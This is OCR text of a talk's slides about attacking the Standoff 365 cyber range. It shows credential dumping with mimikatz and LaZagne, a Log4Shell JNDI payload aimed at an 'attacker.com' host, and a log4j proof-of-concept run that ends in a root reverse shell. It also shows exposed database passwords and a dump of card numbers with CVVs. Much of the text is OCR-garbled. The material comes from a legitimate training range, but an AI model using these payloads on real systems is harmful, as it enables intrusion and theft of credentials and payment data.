QtWchGex.s0 A 16144 Fri Dec 8 21:57:01 2023
librevshell-samba.so A 14984 Fri Dec 8 21:51:48 2023
4VR1shbW.so A 16144 Fri Dec 8 22:08:30 2023
bFzPPp7V.so A 16144 Sat Dec 9 10:42:32 2023
yu51bRWl.so A 16144 Fri Dec 8 21:55:49 2023
evilLibx64.so A 16144 Mon Nov 27 23:42:41 2023
Outcoming D ® Sun Dec 3 17:04:36 2023
Incoming D ® Sat Dec 2 21:28:16 2023
.deleted DH ® Sat Dec 9 01:22:13 2023

60772516 blocks of size 1024, 33598396 blocks available
smb: \> cd Outcoming
smb: \Outcoming\> dir
. D O Sun Dec 3 17:04:36 2023
D @ Sun Dec 10 10:05:08 2023

60772516 blocks of size 1024. 33598340 blocks available
smb: \Outcoming\> cd
smb: \> cd Incoming\
smb: \Incoming\> dir

. @ Sat Dec 2 21:28:16 2023
. O Sun Dec 10 10:05:08 2023
8h_j_1WcmQb1DH6tdsOhg. rcv 759 Sat Dec 2 21:28:17 2023 %@@}@
9g2Iyqgb@vlU f@9DZr7ii.rcv 759 Sat Dec 2 21:21:17 2023 7/

== 00



Some tricks from cyber polygon
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Web vulnerabilities points

» Llens ataku (IP-ag

10.154.12.220

<

12345

10.154.12.222

12345
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Host is out of scope

SSRF

Host is in scope

SSRF



Log On
Administrator
user BLASTF...

Operator  HPP
a_petin... JWARE

a_petin... ZSPENM...
user POWER...
user POWER...

(LS T VYR B | B

Lazy life(funny, but not recommended)

Keyloggers

wonderwa

05/02 15:46:06
04/30 22:00:41
04/30 13:17:03
04/27 02:11:49
04/26 15:09:15
04/26 00:04:23

Win...
INT...
10....
Ci..
Sie...

[s]s}

wonderware

Change Password
queqwe ! G#FQwe qwe ! @GFQwe ' @# 123\
f WinCC-Runtime -

, operator 123! @#que

Reverse shells from other players

7 C

N

uid=33(www-data) gid=33(www-data) groups=33(www-data)

netfusion.stf 3

Viktor Zvarykin - Cyber Polygon: Career Development

Powershell history

FreeRDP: 10.154.13.68

ConsoleHost_history.txt - Notepad

File Edit Format View Help

.\J_Bowen_admin)\

:iJ_Hare\

.\Desktop\

.\Documents)

cd C:\
ﬂ .\LaZagne.exe all
l cd x64
.\mimikatz.exe
cd C:\x64
\mimikatz.exe
cd C:\
.\LaZagne.exe all
runas.exe /user:Operator cmd




Steal flags (dirty, funny, do not try this at home)

" ( DI CEEE B ONCEEEE X N BN GN EOE JStando@ENERﬁY]
— proxychains curl -k 'http://10.154.13.182:8111/flag?id=0
[proxychains] config file found: /etc/proxychainsé4.conf

[proxychains] preloading /usr/1ib/x86_64-1linux-gnu/libproxychains.so.4
[proxychains] DLL init: proxychains-ng 4.16(§j}

[proxychains] Strict chain ... 212.233.76.

165235 ... 10.154.13.182:8111 ... %i:)
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Secret critical event(not really, just too old)

Bank admin panel in netfusion sector?

Home News Accoun t

WHO AM I

veezyveezy

Card number cvv
2219058832200639 113
5033826712492923 907

1221-a679-5c5dd8feald9
165b-8c9b-68421c13cfO7

Time creationFromToHowManyCurrencyDocument number
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Continue
Log4j Theory Quick Reminder

CVE-2021-44228 (Log4Shell) — key facts

What is it? A critical remote-code-execution (RCE) vulnerability in Apache Log4j 2 (versions 2.0-beta9
through 2.14.1), publicly disclosed on 9 December 2021.

How the bug works. When Log4j processes a string such as:

${jndi:Idap://attacker.com/VolgaCTF}

It performs a JNDI (Java Naming and Directory Interface) lookup for LDAP catalogs. If the LDAP server

returns a reference to a remote Java class, the JVM can download and execute that class, giving the
attacker arbitrary code execution on the vulnerable server.

Why it works

* In Log4j 2 up to (and including) version 2.15.0, message-lookup substitution is enabled by default, so
the parser scans every log entry for ${...} patterns.

« JNDI by default permits remote class loading when the JDK is older than 8u191 / 11.0.2.

« Result: a single crafted log line can yield unauthenticated RCE.
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Continue

Log4j Exploitation

—i! python3 poc.py --userip 10.127. B ——webport 80 --lport 9002

2021-4422¢

'] Github repo: https://github.com/kozmer/log4j-shell-poc

[+] Exploit java class created success
] Setting up LDAP server

[+] Send me: ${jndi:ldap://10.127. :1389/a}

[+] Starting Webserver on port 80 http://0.0.0.0:80

Listening on 0.0.0.0:1389

Send LDAP reference result for a redirecting to http://10.127.
10.124.0.74 - - [20/Dec/2023 20:17:53] "GET /Exploit.class HTTP/1.1" 200 -

1|POST Jfuser/payment HTTR/1.1
2 |Host: wrb.kuberl.netfusion.stf

3 | Accept-Enceding: gzip, deflate, br

4|Accept: application/json, text/javascript, */*; g=0.01

S|Accept-Language: en-US;g=0.9,en;q=0.8

& User-Agent: Mozilla/S5.0 (Windows NT 10.0; Wing4; x64) AppleWebkits527.36 (KHTML, like Gecko) Chrome/120.0.8099.71 Safari/537.385
7 Connection: close

8 Cache-Control: max-age=0

9 Cookie: SESSION=MZYZM2QZ0WUtMTkS0S00Z]FiLTgx0DMEM2Mz Z] UOMTY 200 Aw

10 Origin: http://wrb.kuberl.netfusion.stf

11 X-Requested-With: XMLHttpRequest

12 Referer: http://wrb.kuberl.netfusion.stf /user

13 Content-Type: application/json

14 Sec-CH-UA: ".Not/A)Brand";v="99", "Google Chrome";v="120", "Chromium";v="120"

15 Sec-CH-UA-Platform: windows

16 Sec-CH-UA-Mobile: 70

17 Content-Length: 70

18

19|{
nerchinn,
IIdStll s .
"howMany" :" ${jndi:ldap://10.127. :1389/a}"
I
20
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:80/Exploit.class

—# nc -lvvnp 9002
listening on [any] 9002
connect to [10.127.

id

uid=0(root) gid=0(root) groups=0(root)
hostname

] from (UNKNOWN) [10.124.0.74] 15101



ontinue

Dump and parse data

*ROOT - jadx-gui
File View Navigation Tools Help

=#f S B2 © Q S 18 B3| F

antlr WEB-INF/layers.idx «: WEB-INF/classes/logback.xml WEB-INF/classes/log4]j.properties WEB-INF/classes/application.propert

bank kpring.datasource.url-jdbc:pos j1://wrb-postrgesql:5432/spring

com spring.datasource.username
io spring.datasource.password=GoodD

javassist

Javax spring. jpa

jersey.repackaged.org. spring.jpa.generate-ddl=tru

kotlin spring.jpa.hibernate.ddl-auto-update

spring. jpa.properties.hibernate. jdbc.lob.non_contextual_creation=true
spring.main.allow-circular-references=1t1
server.error.include-binding-errors=al

p@@0aj.org.objectweb.a server.error.whitelabel.enabled=false

po11 server.error.path=/erx

spring.data.redis.repositories.enabled-

net
org

reactor
Resources

META-INF

org logging.level.*=

resources
bot.name=Test

£Ss bot. token=52

images
js
WEB-INF spring.mvc.view.prefix =

spring.mvc.view.suffix =
classes FE0e

adds server.address=0.0.0.¢
bank server.port=8081

resources
spring.redis.host

static ; 2 -
spring.redis.port=63

templates
application.proper
1094j N properties server.servlet.session. timeout

spring.redis.password=NotHackedha

= logback.xml
isp

layers.idx
&l Summary
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L

proxychains4 -q psql -h 10.233.63.103 -U postgres

Finish

Access to credit cards with cvv

spring=# select * from telegram_user;

Password for user postgres: chat_id | username | verification_code | verified
psql (15.1 (Debian 15.1-1+b1), server 15.3) " " "
Type "help" for help. 600817456 | | | f
P— 54670888 | yourgrandmalover | “!SBE|F8 | t
406419896 | alex_cutoff | kM3eYosy | t
1629004891 | ghjkkkllo_ohf | N#F6&QG) | f
208213589 | omdmitriev | | f
5318460370 | Mr3nd3rson | | f
468057236 | z3eVeHbIu | | f
137350904 | VeeZy VeeZy | | f
(8 rows)
id | icc I card_number | currency | cvv | money_count | user_id
+ + + + + 4
ed5074c8-5bel1-406e-af9c-4db3169bbalb | \x8cffe®9a3c342b6f54bfo088a8dedac27d28459dd6416ecs | 8815952866159205 | CNY | 361 | 100000 | 1
1b517ef5-8ff4-4c4b-abcd-0e6e9dec9d63 | \x250db88db7a47a425288d93f8ec51fal7cc9cPaababc4602 | 9212389648089755 | IPY | 024 | 100000 | 1
83dal104f-5b75-463f-845f-c8bSaceffcbe | \x76ce7c4cleee3fb789bdd2c7ab5d8db90aaef690a82b3046 | 6729206329984876 | EUR | 572 | 100000 | 1
228d0381-8d66-4239-91d5-6d1bdad2053d | \xd78e231b5c812f564f5ba8fab26ec7e19cfdf451234a7¢cb9 | 2580149013429138 | GBP | 309 | 100000 | x
5c9eb791-607d-4807-a4el-cPaca4ed7640 | \xf7259886bcb5f6f07d3c358b1ed803807bedd98487cfab12 | 6173234904902973 | EUR | 779 | 100000 | 2
47cel1352-9383-4852-8ca4-322a28f12¢c69 | \xcdef2833b52784b9bb24aa384f0d3444b3fd2131f953d577 | 6455369990357382 | USD | 886 | 100000 | 2
4aa88508-0cdb-48ae-b6e2-a73edlab8ea8 | \x950031ee809477895d8ad195d5799e06162f722c4a181d15 | 2207330136752076 | IPY | @52 | 100000 | 2
5d559525-78b2-4c44-ac7f-8964418alc3c | \x0f203d93374b38c7aeals243d6319f75a41e2c3b7fe7184e | 5256232916049603 | CNY I 773 | 100000 | 2
37e348fd-a3d6-4864-aa9e-f4a28d9340e5 | \xddeadfd2ace79190b02c3c1fe441159026675658acfc329b | 9541619075665558 | GBP | 641 | 100000 | 2
25dc8cea-6408-4957-a338-d96d5bff5f55 | \x71b44f22eece773c14f7736c5604a90f84aa42d8b96dd31a | 6236306356480891 | EUR | 621 | 100000 | 3
e5f5b858-3f01-4d8b-9550-04ed95544b69 | \x84efdcl43f371fe9fe3982fb62aeaedbef2dfel5abcc6188 | 2978371678163253 | IPY | @37 | 100000 | 3
204f479c-1390-4cc4-b02f-4c97d9fe484a | \x7f8b953dc320fbf3efaf2ecd57c4ddb96e27538585052fbe | 9214949399121475 | USD | 150 | 100000 | 3
f6304d7f-ebaa-4b4e-8b25-08aedd9d13d1 | \x86d8e799a46bebl18cab3be45b857ab45aeccc@d87cafd20f | 2402923389720965 | GBP | 297 | 100000 | 3
179d3565-0a98-4794-badb-81193f1ea959 | \x18298cbaf9036b5b0cfdfb6cb7840faed67ab55¢c13d66727 | 2008926996692046 | CNY I-725 ] 100000 | 3
f69f8cd4-9199-4893-a468-61be8aale233 | \xedf7d378f7d27736723cadc3bfc73ef38e0769bddb6a248c | 1524700814967675 | EUR | 540 | 100000 | 4
6724f52a-087a-45e0-8011-68f2cfafe8ef | \x6512cl5ec3c42e7d168a1548b7e05c84883a022314035322 | 3620224078337466 | USD | 309 | 100000 | 4
700eed07-0f29-4421-b35b-986aad601738 | \x1cd3b787e31282e3e4b7620356c803a0935a274f177060fa | 7630398770187442 | CNY | 482 | 100000 | ﬁZ@gﬁayaé%
7/
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Community impact
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You will make a lot of friends
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Self-made

Standoff 365 Kro 3abupaet ropy

| Mepua Standoff 365
Standoff 365. Camoe kpacusoe
HeponycTuMoe cobbiTue B geTanax

KoHkypc 3aBepLuwnsncs, a mepy octancsi! Y

L = N Mb! He ocTaBnsieM NOMbITOK HaTK TeX, KOMY NOAAaAYTCA A0 CUX Nop
e i) L = " He peanv3o0BaHHble HUKeM cOBbITUA Ha OHNaH-NMONUTOHE, U VLLieM
H Ans 6eNoro xaKepa peanu3aLyma KpUTYECKi onacHoro HoBble cnocobbl MOTUBaLMW NccneoBaTeneli 6esonacHoCTu.
C06bITUA Ha HalleM oHNaH-kmbepnonuroHe Standoff 365 —
OTAEIlebIVI BUJ UCKYCCTBa.

W, KOHEYHO Xe, He 3abbiBaeM HarpaanTb Tex, Koro obellany.

MTOrm KoHkypca
Haww gokasatenbcrea? Moxanyiicral BUKTOp 3BapbIKuH (aka

VeeZy) B cBoeli cTaThbe Ha Xabpe pacckasan npo peanusauyio “ Flipper Zero goctaetca nccnegosaTento, peanmsosasiuemy
camoro KpacunBoro (Mo ero MHeHUI) KPUTUYECKV ONacHoro cobbITys HavnbosbLIee KoNNYecTBo cobbiTuii (3) 13 ycnoBuii KoHKypca 1
Ha NoNuroHe. nony4mBLLIEMy 3a HUX Hanbonbluee KonuyectBo bannos, — VeezZy.

Viktor Zvarykin - Cyber Polygon: Career Development

Kto 3abupaert ropy
Mepua Standoff 365

Mpogonxaem pasgasatb ropy Mmepya Standoff 3a peanusauuio
cobbITWI Ha HaleM oHNalH-nonuroHe!

ﬁl ... y Hac HoBbIi nobeauTenb. BepHee, cTapblii, noTomy
4TO O4YepesHoit Npu3 oTnpasnseTca VeeZy (a oH BbIMrpbiBaeT He
BMepBble), KOTOPbIN NepBbIM CyMeN OpraHn30BaTh Nepesbinyck

Kntoyeit Ans NOATBEPXAeHUS onepaLwii B 6aHKOBCKOI cucTeme.
Moaapok yxe xAeT cBoero BnajenbLa!

e



Self-made part2(never enough)

MpoponxaemM paspaBatb
ropy Mepuya Standoff

Cnewm, 0cTanoch BCero asa
HEpeann3osaHHbix cobbiTus!

STANDOFA

Halua ropa Mep4a CHOBa HEMHOTO yMeHbLUMACh (HO TaM eLle
0CTan0Ch MHOTO KPYTbIX NPU30E) &

B 31oT pas repoem cHoBa ctan VeeZy, KoTopbilit ABHO yBNeKCs
baHKoBCKoii chepoii 1 peanuzoBan Ha oHnaiiH-nonuroxe Standoff
eLLie 0AHO KpUTNYecky onacHoe cobbiTne — cmor 060iATY

ABYXpaKTOpHYH0 ayTeHTUdMKaLMIo Npy onnate ToBapos Yepe3 QR-

KoZ, C4eM Mbl €ro 1 No3apaBnfem.

3pechb 6bina ropa mepua,
HO ee 3abpan VeelZy

¥ Y>e 3a6bl 0 KOHKypCE C ropoii Mepya?

A BoT VeeZy He 3abbin 1 bykBanbHO Ha AHAX yCNeLHO pean3osan
nocneAHee cobbiTue, 3a KOTOPOe MOXHO 6b10 NoNY4NUTL Npu3. BoT
370: https://range.standoff365.com/battle/5/risk/227/.

Tak 4TO OH Ternepb He TONBLKO C HOT A0 roNoBbl B Mepuye Standoff, Ho
M MOXeT 0pULMaNbHO CUMTATLCA TaBHBIM CNELIOM No BaHKOBCKOMY
CerMeHTy cpeau nonb3oBareneli oHnaliH-noauroHa. C 4em Mbl ero u
No34paBNseM - g
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VeeZy peanusosan
BCE KpUTUYECKME COBbITUSA
Ha oHNnanH-nonuroHe Standoff

Crate

@ Moka Bbl cnuTe, VeeZy kataeFe-NOMaeT OHNalH-NONNIOH
Standoff.

W AENaeT 3T0 Tak YCrneLHo, 4YT0 yXe peann3oBas BCe A0CTYMNHbIE Ha
HeM celivac Kputunyeckmne cobbiTys!

Bcelt komaHzol no3apaBsiemM Hallero HoBOro repost: oH
HeBEPOSITHO KPyT.

160y



last seen recently
X Translate to English

March 29, 2024

[Jobpbiii geHb!

YBugen Balw noct Ha xabpe npo kybep Ha standoff365.

He mornu 6b1 Bbl NOMOYb MPOABUHYTECA Aanblue? MNpocto Tam waf
KaKoii TO XeCTKWIA nocTaBuan U 060ATU HAKaK He MoayYaeTcs.
Byay 6narogapeH 3a nomolLp! 15:|

MpuBeT, a kak NnoMmaHyTb 64 baHka Ha ctergode? Yepes cpe agmuHa

Give it back

X Translate to English

- VeeZy
* NMMHMNWCOM HaxoAw 3ToT haiin? y...

370 caMblii 3HaTHIM Npoe6 B A @ | -

]

X Translate to English

BukTop, npunserT)

Tbl He noacka’elb rno ssti B 6aHKe HOBOCTHOM nopTane? 14:44

X Translate to English

WK HaAo0 caMy MalllHY Kak-TO B3ATb

X Translate to English

Aobpeiii Beuep, Buktop 5590

Npot
UPD: X Translate to English
BUAN
MNpwseTt BukTop! MeHs 30ByT ToXe peluato kubepnonuror
CTaTl  ¢365. MpounTan TBOK CTaTbHO, 1 XOTEN CNPOCUTHL YTO Y Tebs
Heli?  monyuunock caenaTh pyUcka NPO YTeuKy AaHHbIX = -~ ma= Fi~k-l

Digital Bank? MNpocTo A 3acTpsn B ogHoM MecTe(

Jobpblii BeYep, NpounTan Balwy cTaTbio Ha xabpe. Ou
VHTepecHo 1 nogpobHo pacnncan HekoTopble MoOMer
noHpasunocs , cnacubo!

Mpuset

Tel Ha StandOff365 pewwnn HC no yreuke 50 knneHToB baHka?

BosHukno Heckonbko Bonpocos, byay bnarogapeH ecn

VeeZy
i cannot send report and do big thing, b...

Itis your great effort. Appreciated A 21:5

14:58

July 22,2024

22:06 1mBeT, MOXeLWb NoACKasaTb Mo PUCKY C LINGPOBANbLIVIKOM B
XHe, Tbl KOrZa ero genan, sebwenn yxe 6bin UAK cam Kak-To

? edited 22:14
Q L O
X Translate to English -
5 )T paboThl UAV Nyullle No3xe

“; -5 “;

MpuBeT, HopM. UTo X0Ten cnpocnTb?  10.10

X, Translate tc
aceess, oSTI Bpoge kak ectb, Ho WAF He

{UMH BHYTPW, A NOCTEMEHHO
MOCMOTPETL Ha KakKWX OH MMEHHO

:penpo6oBan No4TH BCe, CMOXeELLb ¢
-
©2% natb ewe? 10:19 77
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Kaspersky
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Kaspersky

The end
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